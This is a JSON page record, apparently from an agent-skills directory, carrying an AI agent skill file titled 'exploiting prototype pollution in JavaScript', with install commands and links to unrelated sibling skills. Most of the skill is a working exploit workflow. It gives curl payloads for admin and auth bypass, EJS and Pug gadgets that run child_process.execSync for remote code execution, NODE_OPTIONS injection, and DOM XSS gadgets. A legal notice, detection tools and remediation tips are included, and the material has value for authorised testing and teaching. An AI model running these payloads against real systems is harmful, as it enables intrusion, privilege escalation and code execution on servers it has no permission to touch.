[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7E3VAFDE6P98CV6VPV3D453":3,"skill-same:01M7E3VAFDE6P98CV6VPV3D453":87},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":49,"commitSha":50,"skillDirectory":51,"forksCount":52,"repositoryHtmlUrl":53,"repositoryHomepageUrl":6,"ownerHtmlUrl":54,"ownerBlogUrl":6,"ownerDescription":55,"updatedAt":56,"install":57,"resources":70},"01M7E3VAFDE6P98CV6VPV3D453","exploiting-prototype-pollution-in-javascript",null,"Detects and exploits JavaScript prototype pollution vulnerabilities in client-side and server-side (Node.js) applications to achieve XSS, RCE, or authentication bypass through property injection into Object.prototype. Use when assessing a JavaScript\u002FNode.js application for prototype pollution, especially where a merge, clone, or extend function accepts user-controlled keys.","sanjeevafk\u002Fagent-skills","sanjeevafk","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F230678117?v=4","01M7C540EFY46ETG1NNWKS5X3Q","Sanjeev","01M7C540F366J5C1D587BMKH9Q",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-prototype-pollution-in-javascript\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-prototype-pollution-in-javascript\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: exploiting-prototype-pollution-in-javascript\ndescription: Detects and exploits JavaScript prototype pollution vulnerabilities\n  in client-side and server-side (Node.js) applications to achieve XSS, RCE, or\n  authentication bypass through property injection into Object.prototype. Use when\n  assessing a JavaScript\u002FNode.js application for prototype pollution, especially\n  where a merge, clone, or extend function accepts user-controlled keys.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- prototype-pollution\n- javascript\n- node-js\n- xss\n- rce\n- property-injection\n- dom-xss\n- server-side-pollution\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1055\n---\n\n# Exploiting Prototype Pollution in JavaScript\n\n## When to Use\n- When testing Node.js or JavaScript-heavy web applications\n- During assessment of APIs accepting deep-merged JSON objects\n- When testing client-side JavaScript frameworks for DOM XSS via prototype pollution\n- During code review of object merge\u002Fclone\u002Fextend operations\n- When evaluating npm packages for prototype pollution gadgets\n\n## Prerequisites\n- Burp Suite with DOM Invader extension for client-side prototype pollution detection\n- Node.js development environment for server-side testing\n- Understanding of JavaScript prototype chain and object inheritance\n- Knowledge of common pollution gadgets (sources, sinks, and exploitable properties)\n- Prototype Pollution Gadgets Scanner Burp extension for server-side detection\n- Browser developer console for client-side prototype manipulation\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Identify Prototype Pollution Sources\n```javascript\n\u002F\u002F Client-side: Test URL-based sources\n\u002F\u002F Navigate to: http:\u002F\u002Ftarget.com\u002Fpage?__proto__[polluted]=true\n\u002F\u002F Or use constructor: http:\u002F\u002Ftarget.com\u002Fpage?constructor[prototype][polluted]=true\n\n\u002F\u002F Check in browser console:\nconsole.log(({}).polluted); \u002F\u002F If returns \"true\", pollution confirmed\n\n\u002F\u002F Common URL-based pollution vectors:\n\u002F\u002F ?__proto__[key]=value\n\u002F\u002F ?__proto__.key=value\n\u002F\u002F ?constructor[prototype][key]=value\n\u002F\u002F ?constructor.prototype.key=value\n\n\u002F\u002F Hash fragment pollution:\n\u002F\u002F http:\u002F\u002Ftarget.com\u002F#__proto__[key]=value\n```\n\n### Step 2 — Test Server-Side Prototype Pollution\n```bash\n# Test via JSON body with __proto__\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"isAdmin\": true}}'\n\n# Test via constructor.prototype\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fupdate \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"constructor\": {\"prototype\": {\"isAdmin\": true}}}'\n\n# Test for status code reflection (detection technique)\n# Pollute status property to detect server-side pollution\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"status\": 510}}'\n# If response returns 510, server-side pollution confirmed\n\n# JSON content type pollution\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsettings \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"shell\": \"\u002Fproc\u002Fself\u002Fexe\", \"NODE_OPTIONS\": \"--require \u002Fproc\u002Fself\u002Fenviron\"}}'\n```\n\n### Step 3 — Exploit Client-Side for DOM XSS\n```javascript\n\u002F\u002F Step 1: Find pollution source (URL parameter, JSON input, postMessage)\n\u002F\u002F Step 2: Find a gadget - a property read from prototype that reaches a sink\n\n\u002F\u002F Common gadgets for DOM XSS:\n\u002F\u002F innerHTML gadget:\n\u002F\u002F ?__proto__[innerHTML]=\u003Cimg\u002Fsrc\u002Fonerror=alert(1)>\n\n\u002F\u002F jQuery $.html() gadget:\n\u002F\u002F ?__proto__[html]=\u003Cimg\u002Fsrc\u002Fonerror=alert(1)>\n\n\u002F\u002F transport URL gadget (common in analytics scripts):\n\u002F\u002F ?__proto__[transport_url]=data:,alert(1)\u002F\u002F\n\n\u002F\u002F Sanitizer bypass via prototype pollution:\n\u002F\u002F ?__proto__[allowedTags]=\u003Cscript>\n\u002F\u002F ?__proto__[tagName]=IMG\n\n\u002F\u002F Use DOM Invader (Burp Suite built-in):\n\u002F\u002F 1. Enable DOM Invader in Burp's embedded browser\n\u002F\u002F 2. Enable Prototype Pollution option\n\u002F\u002F 3. Browse application - DOM Invader auto-detects sources\n\u002F\u002F 4. Click \"Scan for gadgets\" to find exploitable sinks\n```\n\n### Step 4 — Exploit Server-Side for RCE\n```bash\n# Node.js child_process gadget (RCE)\n# If application calls child_process.execSync(), spawn(), or fork():\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"shell\": \"node\", \"NODE_OPTIONS\": \"--require \u002Fproc\u002Fself\u002Fcmdline\"}}'\n\n# EJS template engine gadget\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fupdate \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"client\": true, \"escapeFunction\": \"JSON.stringify; process.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\")\"}}'\n\n# Handlebars template gadget\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"allowProtoMethodsByDefault\": true, \"allowProtoPropertiesByDefault\": true}}'\n\n# Pug template engine gadget\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"block\": {\"type\": \"Text\", \"line\": \"process.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\")\"}}}'\n```\n\n### Step 5 — Exploit for Authentication and Authorization Bypass\n```bash\n# Pollute isAdmin or role property\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"isAdmin\": true, \"role\": \"admin\"}}'\n\n# Pollute auth-related properties\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsettings \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"verified\": true, \"emailVerified\": true}}'\n\n# Bypass JSON schema validation\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"additionalProperties\": true}}'\n```\n\n### Step 6 — Detect with Automated Tools\n```bash\n# Use ppfuzz for automated detection\nppfuzz -l urls.txt -o results.txt\n\n# Nuclei templates for prototype pollution\necho \"http:\u002F\u002Ftarget.com\" | nuclei -t http\u002Fvulnerabilities\u002Fgeneric\u002Fprototype-pollution.yaml\n\n# Server-side detection with Burp Scanner\n# Enable \"Server-side prototype pollution\" scan check\n# Review issues in Burp Dashboard\n\n# Manual detection via timing\u002Ferror-based techniques\n# Pollute a property that causes detectable server behavior change\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"toString\": \"polluted\"}}'\n# If server errors (500), pollution is working\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Prototype Chain | JavaScript inheritance mechanism where objects inherit from Object.prototype |\n| __proto__ | Accessor property that exposes the prototype of an object |\n| Pollution Source | Input point that allows setting properties on Object.prototype |\n| Pollution Sink | Code that reads a polluted property and performs a dangerous operation |\n| Gadget | A property that flows from prototype to a dangerous sink (source-to-sink chain) |\n| Deep Merge | Recursive object merge functions that may process __proto__ as a regular key |\n| constructor.prototype | Alternative path to access and pollute the prototype object |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| DOM Invader | Burp Suite built-in tool for detecting client-side prototype pollution |\n| Prototype Pollution Gadgets Scanner | Burp extension for server-side gadget detection |\n| ppfuzz | Automated prototype pollution fuzzer |\n| Nuclei | Template-based scanner with prototype pollution templates |\n| server-side-prototype-pollution | Burp Scanner check for server-side detection |\n| ESLint security plugin | Static analysis for prototype pollution patterns in code |\n\n## Common Scenarios\n\n1. **DOM XSS via Analytics** — Pollute transport_url property to inject JavaScript through analytics tracking scripts that read URL from prototype\n2. **RCE via Template Engine** — Exploit EJS\u002FPug\u002FHandlebars gadgets to execute arbitrary commands through polluted template rendering properties\n3. **Admin Privilege Escalation** — Pollute isAdmin or role properties to bypass authorization checks in Node.js applications\n4. **JSON Schema Bypass** — Pollute schema validation properties to bypass input validation and inject malicious data\n5. **Denial of Service** — Pollute toString or valueOf to crash the application when objects are coerced to primitives\n\n## Output Format\n\n```\n## Prototype Pollution Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Type**: Server-Side Prototype Pollution\n- **Impact**: Remote Code Execution via EJS template gadget\n\n### Findings\n| # | Source | Gadget | Sink | Impact |\n|---|--------|--------|------|--------|\n| 1 | POST \u002Fapi\u002Fmerge __proto__ | EJS escapeFunction | Template render | RCE |\n| 2 | POST \u002Fapi\u002Fprofile __proto__ | isAdmin property | Auth middleware | Privilege Escalation |\n| 3 | URL ?__proto__[innerHTML] | innerHTML property | DOM write | Client-Side XSS |\n\n### Remediation\n- Use Object.create(null) for configuration objects instead of {}\n- Freeze Object.prototype with Object.freeze(Object.prototype)\n- Sanitize __proto__ and constructor keys in user input\n- Use Map instead of plain objects for user-controlled data\n- Update vulnerable npm packages (lodash, merge-deep, etc.)\n```\n","# Exploiting Prototype Pollution in JavaScript\n\n## When to Use\n- When testing Node.js or JavaScript-heavy web applications\n- During assessment of APIs accepting deep-merged JSON objects\n- When testing client-side JavaScript frameworks for DOM XSS via prototype pollution\n- During code review of object merge\u002Fclone\u002Fextend operations\n- When evaluating npm packages for prototype pollution gadgets\n\n## Prerequisites\n- Burp Suite with DOM Invader extension for client-side prototype pollution detection\n- Node.js development environment for server-side testing\n- Understanding of JavaScript prototype chain and object inheritance\n- Knowledge of common pollution gadgets (sources, sinks, and exploitable properties)\n- Prototype Pollution Gadgets Scanner Burp extension for server-side detection\n- Browser developer console for client-side prototype manipulation\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Identify Prototype Pollution Sources\n```javascript\n\u002F\u002F Client-side: Test URL-based sources\n\u002F\u002F Navigate to: http:\u002F\u002Ftarget.com\u002Fpage?__proto__[polluted]=true\n\u002F\u002F Or use constructor: http:\u002F\u002Ftarget.com\u002Fpage?constructor[prototype][polluted]=true\n\n\u002F\u002F Check in browser console:\nconsole.log(({}).polluted); \u002F\u002F If returns \"true\", pollution confirmed\n\n\u002F\u002F Common URL-based pollution vectors:\n\u002F\u002F ?__proto__[key]=value\n\u002F\u002F ?__proto__.key=value\n\u002F\u002F ?constructor[prototype][key]=value\n\u002F\u002F ?constructor.prototype.key=value\n\n\u002F\u002F Hash fragment pollution:\n\u002F\u002F http:\u002F\u002Ftarget.com\u002F#__proto__[key]=value\n```\n\n### Step 2 — Test Server-Side Prototype Pollution\n```bash\n# Test via JSON body with __proto__\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"isAdmin\": true}}'\n\n# Test via constructor.prototype\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fupdate \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"constructor\": {\"prototype\": {\"isAdmin\": true}}}'\n\n# Test for status code reflection (detection technique)\n# Pollute status property to detect server-side pollution\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"status\": 510}}'\n# If response returns 510, server-side pollution confirmed\n\n# JSON content type pollution\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsettings \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"shell\": \"\u002Fproc\u002Fself\u002Fexe\", \"NODE_OPTIONS\": \"--require \u002Fproc\u002Fself\u002Fenviron\"}}'\n```\n\n### Step 3 — Exploit Client-Side for DOM XSS\n```javascript\n\u002F\u002F Step 1: Find pollution source (URL parameter, JSON input, postMessage)\n\u002F\u002F Step 2: Find a gadget - a property read from prototype that reaches a sink\n\n\u002F\u002F Common gadgets for DOM XSS:\n\u002F\u002F innerHTML gadget:\n\u002F\u002F ?__proto__[innerHTML]=\u003Cimg\u002Fsrc\u002Fonerror=alert(1)>\n\n\u002F\u002F jQuery $.html() gadget:\n\u002F\u002F ?__proto__[html]=\u003Cimg\u002Fsrc\u002Fonerror=alert(1)>\n\n\u002F\u002F transport URL gadget (common in analytics scripts):\n\u002F\u002F ?__proto__[transport_url]=data:,alert(1)\u002F\u002F\n\n\u002F\u002F Sanitizer bypass via prototype pollution:\n\u002F\u002F ?__proto__[allowedTags]=\u003Cscript>\n\u002F\u002F ?__proto__[tagName]=IMG\n\n\u002F\u002F Use DOM Invader (Burp Suite built-in):\n\u002F\u002F 1. Enable DOM Invader in Burp's embedded browser\n\u002F\u002F 2. Enable Prototype Pollution option\n\u002F\u002F 3. Browse application - DOM Invader auto-detects sources\n\u002F\u002F 4. Click \"Scan for gadgets\" to find exploitable sinks\n```\n\n### Step 4 — Exploit Server-Side for RCE\n```bash\n# Node.js child_process gadget (RCE)\n# If application calls child_process.execSync(), spawn(), or fork():\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"shell\": \"node\", \"NODE_OPTIONS\": \"--require \u002Fproc\u002Fself\u002Fcmdline\"}}'\n\n# EJS template engine gadget\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fupdate \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"client\": true, \"escapeFunction\": \"JSON.stringify; process.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\")\"}}'\n\n# Handlebars template gadget\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fmerge \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"allowProtoMethodsByDefault\": true, \"allowProtoPropertiesByDefault\": true}}'\n\n# Pug template engine gadget\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"block\": {\"type\": \"Text\", \"line\": \"process.mainModule.require(\\\"child_process\\\").execSync(\\\"id\\\")\"}}}'\n```\n\n### Step 5 — Exploit for Authentication and Authorization Bypass\n```bash\n# Pollute isAdmin or role property\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"isAdmin\": true, \"role\": \"admin\"}}'\n\n# Pollute auth-related properties\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fsettings \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"verified\": true, \"emailVerified\": true}}'\n\n# Bypass JSON schema validation\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"additionalProperties\": true}}'\n```\n\n### Step 6 — Detect with Automated Tools\n```bash\n# Use ppfuzz for automated detection\nppfuzz -l urls.txt -o results.txt\n\n# Nuclei templates for prototype pollution\necho \"http:\u002F\u002Ftarget.com\" | nuclei -t http\u002Fvulnerabilities\u002Fgeneric\u002Fprototype-pollution.yaml\n\n# Server-side detection with Burp Scanner\n# Enable \"Server-side prototype pollution\" scan check\n# Review issues in Burp Dashboard\n\n# Manual detection via timing\u002Ferror-based techniques\n# Pollute a property that causes detectable server behavior change\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"__proto__\": {\"toString\": \"polluted\"}}'\n# If server errors (500), pollution is working\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Prototype Chain | JavaScript inheritance mechanism where objects inherit from Object.prototype |\n| __proto__ | Accessor property that exposes the prototype of an object |\n| Pollution Source | Input point that allows setting properties on Object.prototype |\n| Pollution Sink | Code that reads a polluted property and performs a dangerous operation |\n| Gadget | A property that flows from prototype to a dangerous sink (source-to-sink chain) |\n| Deep Merge | Recursive object merge functions that may process __proto__ as a regular key |\n| constructor.prototype | Alternative path to access and pollute the prototype object |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| DOM Invader | Burp Suite built-in tool for detecting client-side prototype pollution |\n| Prototype Pollution Gadgets Scanner | Burp extension for server-side gadget detection |\n| ppfuzz | Automated prototype pollution fuzzer |\n| Nuclei | Template-based scanner with prototype pollution templates |\n| server-side-prototype-pollution | Burp Scanner check for server-side detection |\n| ESLint security plugin | Static analysis for prototype pollution patterns in code |\n\n## Common Scenarios\n\n1. **DOM XSS via Analytics** — Pollute transport_url property to inject JavaScript through analytics tracking scripts that read URL from prototype\n2. **RCE via Template Engine** — Exploit EJS\u002FPug\u002FHandlebars gadgets to execute arbitrary commands through polluted template rendering properties\n3. **Admin Privilege Escalation** — Pollute isAdmin or role properties to bypass authorization checks in Node.js applications\n4. **JSON Schema Bypass** — Pollute schema validation properties to bypass input validation and inject malicious data\n5. **Denial of Service** — Pollute toString or valueOf to crash the application when objects are coerced to primitives\n\n## Output Format\n\n```\n## Prototype Pollution Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Type**: Server-Side Prototype Pollution\n- **Impact**: Remote Code Execution via EJS template gadget\n\n### Findings\n| # | Source | Gadget | Sink | Impact |\n|---|--------|--------|------|--------|\n| 1 | POST \u002Fapi\u002Fmerge __proto__ | EJS escapeFunction | Template render | RCE |\n| 2 | POST \u002Fapi\u002Fprofile __proto__ | isAdmin property | Auth middleware | Privilege Escalation |\n| 3 | URL ?__proto__[innerHTML] | innerHTML property | DOM write | Client-Side XSS |\n\n### Remediation\n- Use Object.create(null) for configuration objects instead of {}\n- Freeze Object.prototype with Object.freeze(Object.prototype)\n- Sanitize __proto__ and constructor keys in user input\n- Use Map instead of plain objects for user-controlled data\n- Update vulnerable npm packages (lodash, merge-deep, etc.)\n```\n",{"name":5,"tags":25,"author":34,"domain":35,"license":15,"version":36,"nist_csf":37,"subdomain":42,"description":7,"mitre_attack":43},[26,27,28,29,30,31,32,33],"prototype-pollution","javascript","node-js","xss","rce","property-injection","dom-xss","server-side-pollution","mahipal","cybersecurity","1.0",[38,39,40,41],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[44,45,46,47,48],"T1190","T1059.007","T1505.003","T1083","T1055","main","4e084e84eb42fc53e144c89c0f7f48b39c8a4b0f","collections\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-prototype-pollution-in-javascript",1,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills","https:\u002F\u002Fgithub.com\u002Fsanjeevafk","First make it work. Then make it right. Then make it fast.","2026-11-14 13:36:16",{"source":8,"skillName":5,"commands":58,"prompt":68,"zipAvailable":69},[59,62,65],{"tool":60,"command":61},"npx","npx skills add sanjeevafk\u002Fagent-skills --skill exploiting-prototype-pollution-in-javascript",{"tool":63,"command":64},"bunx","bunx skills add sanjeevafk\u002Fagent-skills --skill exploiting-prototype-pollution-in-javascript",{"tool":66,"command":67},"pnpm","pnpm dlx skills add sanjeevafk\u002Fagent-skills --skill exploiting-prototype-pollution-in-javascript","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-prototype-pollution-in-javascript\u002FSKILL.md",true,[71,75,81],{"path":72,"resourceType":72,"resourceTypeDesc":73,"sizeBytes":74,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":76,"resourceType":77,"resourceTypeDesc":78,"sizeBytes":79,"sourceHtmlUrl":80},"references\u002Fapi-reference.md","REFERENCE","参考文档",2477,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-prototype-pollution-in-javascript\u002Freferences\u002Fapi-reference.md",{"path":82,"resourceType":83,"resourceTypeDesc":84,"sizeBytes":85,"sourceHtmlUrl":86},"scripts\u002Fagent.py","SCRIPT","脚本",5642,"https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fcollections\u002Fcybersecurity-skills\u002Fskills\u002Fexploiting-prototype-pollution-in-javascript\u002Fscripts\u002Fagent.py",[88,96,104,112,120,127],{"skillNo":89,"name":90,"nameZh":6,"description":91,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":92,"licenseFileUrl":6,"sourceHtmlUrl":93,"categories":94,"keywords":95,"publishedAt":20},"01M7EFHX67M3KKXT1BXVPA5ADT","zarr-python","Chunked N-D arrays for cloud storage (Zarr-Python 3). Compressed arrays, parallel I\u002FO, S3\u002FGCS via fsspec, NumPy\u002FDask\u002FXarray compatible, for large-scale scientific computing pipelines.","MIT","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzarr-python\u002FSKILL.md",[],[],{"skillNo":97,"name":98,"nameZh":6,"description":99,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":92,"licenseFileUrl":100,"sourceHtmlUrl":101,"categories":102,"keywords":103,"publishedAt":20},"01M7EFFQGM51TZBGRENXY50ZYM","whiteboard-diagrams","Create accurate, simple, hand-drawn whiteboard diagrams from a user's process, system, architecture, learning workflow, comparison, or causal explanation. Use when the user asks for a scribbly whiteboard visual, educational workflow graphic, hand-drawn explainer, or diagram like the bundled reference; ask one focused clarification question when the subject or relationships are missing, then generate and visually verify the final image.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwhiteboard-diagrams\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwhiteboard-diagrams\u002FSKILL.md",[],[],{"skillNo":105,"name":106,"nameZh":6,"description":107,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":108,"sourceHtmlUrl":109,"categories":110,"keywords":111,"publishedAt":20},"01M7EFF1CSQNTDMHFK4ZGY6NYK","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fwebapp-testing\u002FSKILL.md",[],[],{"skillNo":113,"name":114,"nameZh":6,"description":115,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":116,"sourceHtmlUrl":117,"categories":118,"keywords":119,"publishedAt":20},"01M7EFE8106X6C28FT8PA74427","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fweb-artifacts-builder\u002FSKILL.md",[],[],{"skillNo":121,"name":122,"nameZh":6,"description":123,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":92,"licenseFileUrl":6,"sourceHtmlUrl":124,"categories":125,"keywords":126,"publishedAt":20},"01M7EFCSNZM9G7ZHS6F127Q71X","verification-loop","A comprehensive verification system for Claude Code sessions.","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fverification-loop\u002FSKILL.md",[],[],{"skillNo":128,"name":129,"nameZh":6,"description":130,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":92,"licenseFileUrl":131,"sourceHtmlUrl":132,"categories":133,"keywords":134,"publishedAt":20},"01M7EFCE7EZMKPRYDDNKBQ9EEH","vercel-deploy","Deploy applications and websites to Vercel. Use when the user requests deployment actions like \"deploy my app\", \"deploy and give me the link\", \"push this live\", or \"create a preview deployment\".","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fvercel-deploy\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fsanjeevafk\u002Fagent-skills\u002Fblob\u002Fmain\u002Fskills\u002Fvercel-deploy\u002FSKILL.md",[],[]]